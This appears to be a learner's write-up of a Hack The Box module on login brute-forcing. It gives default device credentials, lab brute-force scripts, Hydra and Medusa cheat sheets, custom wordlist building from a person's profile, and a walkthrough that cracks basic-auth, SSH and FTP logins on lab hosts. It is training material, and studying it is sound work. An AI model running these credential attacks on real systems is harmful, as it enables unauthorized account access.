Introduction

This module contains a lot of information from and should be read thoroughly by anyone in security or not. This is applicable until the Hydra section where it becomes mostly hands-on.

Introduction


While being a very good informative section, I can only recommend you to read it carefully as I don’t have the faith to summarize it.

Password Security Fundamentals


Same thing applies for this section. Note that a quick list of default credentials is given and interesting :

Device/ManufacturerDefault UsernameDefault PasswordDevice Type
Linksys RouteradminadminWireless Router
D-Link RouteradminadminWireless Router
Netgear RouteradminpasswordWireless Router
TP-Link RouteradminadminWireless Router
Cisco RouterciscociscoNetwork Router
Asus RouteradminadminWireless Router
Belkin RouteradminpasswordWireless Router
Zyxel Routeradmin1234Wireless Router
Samsung SmartCamadmin4321IP Camera
Hikvision DVRadmin12345Digital Video Recorder (DVR)
Axis IP CamerarootpassIP Camera
Ubiquiti UniFi APubntubntWireless Access Point
Canon PrinteradminadminNetwork Printer
Honeywell Thermostatadmin1234Smart Thermostat
Panasonic DVRadmin12345Digital Video Recorder (DVR)

Brute Force Attacks

Brute Force Attacks


It recaps the importance of understanding computational power against password complexity.

Cracking the PIN

Start by doing an exhaustive search on a PIN without restriction on the amount of trials nor limit rate.

The example gives a script to solve the lab directly but it’s a good opportunity to use Burp features in the intruder.

Script given to solve the lab :

import requests
 
ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number
 
# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g., 7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")
 
    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")
 
    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200 (success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break

Questions

Dictionnary Attacks


Dictionnary Attacks doesn’t necessarily relates to passwords. Common username, known technologies credentials can be tested against login in a similar way you would approach web fuzzing when looking for potential paths. Obviously the SecLists resource is quite relevant for that matter as well as the usual RockYou wordlist used for most labs and challenges (though Some lists with permutation / rules have a higher success rate on real applications).

The HTB resources provide a python script to solve the exercise :

Script given to solve the lab :

import requests
 
ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number
 
# Download a list of common passwords from the web and split it into lines
passwords = requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Common-Credentials/500-worst-passwords.txt").text.splitlines()
 
# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")
 
    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password': password})
 
    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break

Questions

Hybrid Attacks


Org policies can enforce password change every x days, leading to people adopting predictable behaviors on the update such as yearly number update, special characters added only at the end of an existing password etc…

The idea behind hybrid attacks is to combine wordlist / complete them with company contextual information or adapt it to a known password policy. HTB provides an example of password policy and how to take advantage of it :

HTB Example :

  • Minimum length: 8 characters
  • Must include:
    • At least one uppercase letter
    • At least one lowercase letter
    • At least one number

We can filter out the possible password to match that policy on a wordlist to reduce the amount of tests. Thus, we can add permutation and rules if our results aren’t conclusive while staying in a reasonable cracking time.

Keep only 8 or more characters long passwords.

grep -E '^.{8,}$' darkweb2017-top10000.txt > darkweb2017-minlength.txt

Keep only passwords containing an uppercase letter :

grep -E '[A-Z]' darkweb2017-minlength.txt > darkweb2017-uppercase.txt

Keep only passwords containing a lowercase letter :

grep -E '[a-z]' darkweb2017-uppercase.txt > darkweb2017-lowercase.txt

Keep only passwords containing at least a number :

grep -E '[0-9]' darkweb2017-lowercase.txt > darkweb2017-number.txt

One liner :

grep -P '^(?=.{8,}$)(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).*$' darkweb2017-top10000.txt > filtered.txt

Hydra

Hydra


Cheatsheet for the tool :

ParameterExplanationUsage Example
-l LOGIN or -L FILELogin options: Specify either a single username (-l) or a file containing a list of usernames (-L).hydra -l admin ... or hydra -L usernames.txt ...
-p PASS or -P FILEPassword options: Provide either a single password (-p) or a file containing a list of passwords (-P).hydra -p password123 ... or hydra -P passwords.txt ...
-t TASKSTasks: Define the number of parallel tasks (threads) to run, potentially speeding up the attack.hydra -t 4 ...
-fFast mode: Stop the attack after the first successful login is found.hydra -f ...
-s PORTPort: Specify a non-default port for the target service.hydra -s 2222 ...
-v or -VVerbose output: Display detailed information about the attack’s progress, including attempts and results.hydra -v ... or hydra -V ... (for even more verbosity)
service://serverTarget: Specify the service (e.g., ssh, http, ftp) and the target server’s address or hostname.hydra ssh://192.168.1.100
-sSpecifiy a non standard porthydra -L usernames.txt -P passwords.txt -s 2121 -V ftp.example.com ftp
-MUse a file in input for multiple targetshydra -l root -p toor -M targets.txt ssh

Use http-get and http-post-form respectively for GET and POST requests.

Example of POST request :

hydra -l admin -P passwords.txt www.example.com http-post-form "/login:user=^USER^&pass=^PASS^:S=302"

Example of RDP search for 6~8 password Alphanumeric lower_upper :

hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 192.168.1.100 rdp

Basic HTTP Authentication


This is a follow along section, if you played with parameters and took the time to read them thoroughly you shouldn’t have any difficulty for the question.

Questions

Login Forms


Follow along again, not the most interesting module I’ve seen honestly. Read again correctly the first section on Hydra and you should be ok.

Questions

Medusa

Medusa


Medusa is pretty similar to hydra aside from certain syntax changes on modules.

Cheatsheet for medusa :

ParameterExplanationUsage Example
-h HOST or -H FILETarget options: Specify either a single target hostname or IP address (-h) or a file containing a list of targets (-H).medusa -h 192.168.1.10 ... or medusa -H targets.txt ...
-u USERNAME or -U FILEUsername options: Provide either a single username (-u) or a file containing a list of usernames (-U).medusa -u admin ... or medusa -U usernames.txt ...
-p PASSWORD or -P FILEPassword options: Specify either a single password (-p) or a file containing a list of passwords (-P).medusa -p password123 ... or medusa -P passwords.txt ...
-M MODULEModule: Define the specific module to use for the attack (e.g., ssh, ftp, http).medusa -M ssh ...
-m "MODULE_OPTION"Module options: Provide additional parameters required by the chosen module, enclosed in quotes.medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^" ...
-t TASKSTasks: Define the number of parallel login attempts to run, potentially speeding up the attack.medusa -t 4 ...
-f or -FFast mode: Stop the attack after the first successful login is found, either on the current host (-f) or any host (-F).medusa -f ... or medusa -F ...
-n PORTPort: Specify a non-default port for the target service.medusa -n 2222 ...
-v LEVELVerbose output: Display detailed information about the attack’s progress. The higher the LEVEL (up to 6), the more verbose the output.medusa -v 4 ...
-e n ; -e sEmpty password ; Password matches usermedusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name

Web Services


Follow along on FTP and SSH login brute-forcing using medusa. The underlying methodology is more interesting than the commands here, such as scanning the ports after a successful connection to identify services.

This section exercise is particularly unrealistic since the server you log-in in SSH has medusa installed. In these conditions I would have used the SSH connection to proxy my tools through the restricted services or internal resources. I’ll publish this module note later.

Questions

Custom Wordlists

Custom Wordlists


I created a challenge here using hashcat functionalities to create a custom wordlist though this section covers other tools. This section is pretty complimentary and well discussed in the Password Attacks module for the CPTS.

Generic wordlist are great but you might want to create ones when you possess sufficient information on your targets. Suppose we have know the name, birth date etc… we can try to build wordlist with many combination to create passwords deeply linked to a profile.

For username search HTB recommended Username Anarchy (written in ruby but preinstalled on kali). Try to play with it since it doesn’t require any online target.

Checkout CUPP tool it’s pretty easy to use.

Questions

We get the following information on a person :

FieldDetails
NameJane Smith
NicknameJaney
BirthdateDecember 11, 1990
Relationship StatusIn a relationship with Jim
Partner’s NameJim (Nickname: Jimbo)
Partner’s BirthdateDecember 12, 1990
PetSpot
CompanyAHI
InterestsHackers, Pizza, Golf, Horses
Favorite ColorsBlue
The follow along gives us this password policy :
  • Minimum Length: 6 characters
  • Must Include:
    • At least one uppercase letter
    • At least one lowercase letter
    • At least one number
    • At least two special characters (from the set !@#$%^&*)

Skills Assessment

Skills Assessment Part1


We are given the following wordlists to use for the assessment :

We are welcomed with a basic auth from the target. Brute-forcing it using both wordlists with Hydra :

hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt  -P /usr/share/seclists/Passwords/Common-Credentials/2023-200_most_used_passwords.txt -f 83.136.253.132 -s 52005 http-get

And we quickly obtain the credentials admin:Admin123. After logging in we are greeted with the username that will be used for the second part of the assessment : satwossh.

Skills Assessment Part2


Knowing we are given the username satwossh from the Part1 we continue on the assessment. The given scope is an exposed SSH service which we’ll try to login with our username.

hydra -u 83.136.249.164 -s 45274 -l satwossh -P /usr/share/seclists/Passwords/Common-Credentials/2023-200_most_used_passwords.txt ssh

This returns the credentials satwossh:password1. We have our foothold and can now use it to access the server. Like the previous exercises, the port 21 is open and is used for FTP. The current directory contains 3 files :

  • IncidentReport.txt
  • passwords.txt
  • username-anarchy

This is setup conveniently for us to solve the challenge since the Incident report file mentions a user Thomas Smith. We’ll obviously use this as an input to create a wordlist with the tool and then brute-force the FTP service to find Thomas’ credentials. Let’s keep some consistency with the previous exercises and pull the password file to the local machine. We’ll do all the processing on our local machine.

At this point our network activity is about to explode from the brute-forcing, but we can still base64 encode the passwords.txt file and decode it locally to save the content without using scp. The various file transfer methods are discussed in the File Transfers module note (I haven’t wrote-up yet despite finishing it…).

base64 passwords.txt
MTIzNDU2CjEyMzQ1Njc4OQpwaWN0dXJlMQpwYXNzd29yZAoxMjM0NTY3OAoxMTExMTEKMTIzMTIz
CjEyMzQ1CjEyMzQ1Njc4OTAKc2VuaGEKMTIzNDU2Nwpxd2VydHkKYWJjMTIzCk1pbGxpb24yCjAw
MDAwMAoxMjM0Cmlsb3ZleW91CmFhcm9uNDMxCnBhc3N3b3JkMQpxcXd3MTEyMgoxMjMKb21ncG9w
CjEyMzMyMQo2NTQzMjEKcXdlcnR5dWlvcApxd2VyMTIzNDU2CjEyMzQ1NmEKYTEyMzQ1Ngo2NjY2
NjYKYXNkZmdoamtsCmFzaGxleQo5ODc2NTQzMjEKdW5rbm93bgp6eGN2Ym5tCjExMjIzMwpjaG9j
b2xhdGUhCmNoYXRib29rcwoyMDEwMDcyOAoxMjMxMjMxMjMKcHJpbmNlc3MKamFja2V0MDI1CmV2
aXRlCjEyM2FiYwoxMjNxd2UKc3Vuc2hpbmUKMTIxMjEyCmRyYWdvbgoxcTJ3M2U0cgo1MjAxMzE0
CjE1OTc1Mwpwb2tlbW9uCnF3ZXJ0eTEyMwpCYW5nYmFuZzEyMwpqb2JhbmR0YWxlbnQKbW9ua2V5
CjFxYXoyd3N4CmFiY2QxMjM0CmRlZmF1bHQKYWFhYWFhCnNvY2NlcgoxMjM2NTQKb2htbmFtYWgy
MwoxMjM0NTY3ODkxMAp6aW5nCnNoYWRvdwoxMDIwMzAKMTExMTExMTEKYXNkZmdoCjE0NzI1ODM2
OQpxYXp3c3gKcXdlMTIzCm1pY2hhZWwKZm9vdGJhbGwKYmFzZWJhbGwKMXEydzNlNHI1dApwYXJ0
eQpkYW5pZWwKYXNkYXNkCjIyMjIyMgpteXNwYWNlMQphc2QxMjMKNTU1NTU1CmExMjM0NTY3ODkK
ODg4ODg4Cjc3Nzc3NzcKZnVja3lvdQoxMjM0cXdlcgpzdXBlcm1hbgoxNDcyNTgKOTk5OTk5CjE1
OTM1Nwpsb3ZlMTIzCnRpZ2dlcgpwdXJwbGUKc2FtYW50aGEKY2hhcmxpZQpiYWJ5Z2lybAo4ODg4
ODg4OApqb3JkYW4yMwo3ODk0NTYxMjMKam9yZGFuCmFuaHlldWVtCmtpbGxlcgpiYXNrZXRiYWxs
Cm1pY2hlbGxlCjFxMnczZQpsb2wxMjMKcXdlcnR5MQo3ODk0NTYKNjY1NTMyMQpuaWNvbGUKbmFy
dXRvCm1hc3RlcgpjaG9jb2xhdGUKbWFnZ2llb3duCmNvbXB1dGVyCmhhbm5haApqZXNzaWNhCjEy
MzQ1Njc4OWEKcGFzc3dvcmQxMjMKaHVudGVyCjY4NjU4NAppbG92ZXlvdTEKanVzdGluCmNvb2tp
ZQpoZWxsbwpibGluazE4MgphbmRyZXcKMjUyNTEzMjUKbG92ZQo5ODc2NTQKYmFpbGV5CnByaW5j
ZXNzMQoxMDEwMTAKMTIzNDEyMzQKYTgwMTAxNgoxMTExCjExMTExMTEKYW50aG9ueQp5dWdpb2gK
ZnVja3lvdTEKYW1hbmRhCmFzZGYxMjM0CnRydXN0bm8xCmJ1dHRlcmZseQp4NGl2eWdBNTFGCmls
b3ZldQpiYXRtYW4Kc3RhcndhcnMKc3VtbWVyCm1pY2hhZWwxCjAwMDAwMDAwCmxvdmVseQpqYWtj
Z3QzMzMKYnVzdGVyCmplbm5pZmVyCmJhYnlnaXJsMQpmYW1pbHkKNDU2Nzg5CmF6ZXJ0eQphbmRy
ZWEKcTF3MmUzcjQKcXdlcjEyMzQKaGVsbG8xMjMKMTAyMDMKbWF0dGhldwpwZXBwZXIKMTIzNDVh
CmxldG1laW4Kam9zaHVhCjEzMTMxMwoxMjM0NTZiCm1hZGlzb24KU2FtcGxlMTIzCjc3Nzc3Nwpm
b290YmFsbDEKamVzdXMxCnRheWxvcgpiMTIzNDU2CndoYXRldmVyCndlbGNvbWUKZ2luZ2VyCmZs
b3dlcgozMzMzMzMKMTExMTExMTExMQpyb2JlcnQKc2Ftc3VuZwphMTIzNDUKbG92ZW1lCmdhYnJp
ZWwKYWxleGFuZGVyCmNoZWVzZQpwYXNzdzByZAoxNDI1MzYKcGVhbnV0CjExMjIzMzQ0CnRob21h
cwphbmdlbDEK

Decode and save it locally (a quick md5sum in the end can confirm the integrity of the transferred file) :

base64 -d encoded_pass > passwords.txt

We can build the username wordlist as well (even though I’d try thomas by default). Note that FTP login resolves on lowercase characters :

./username-anarchy Thomas Smith > username_wordlist

we have both wordlist to work with, only remaining part is brute-forcing. We’ll repeat the process with Medusa through proxychains :

proxychains -q medusa -h 127.0.0.1 -U username_wordlist  -P passwords.txt  -M ftp -t 5 -f

I’ve specified -q for proxychains to be silent during output and -f to stop brute-forcing after a valid credentials finding. We obtain the credentials thomas:chocolate! for the FTP service. After that we can simply retrieve the flag through a direct ftp login on the SSH connection to the server, or use it as a proxy with our own machine :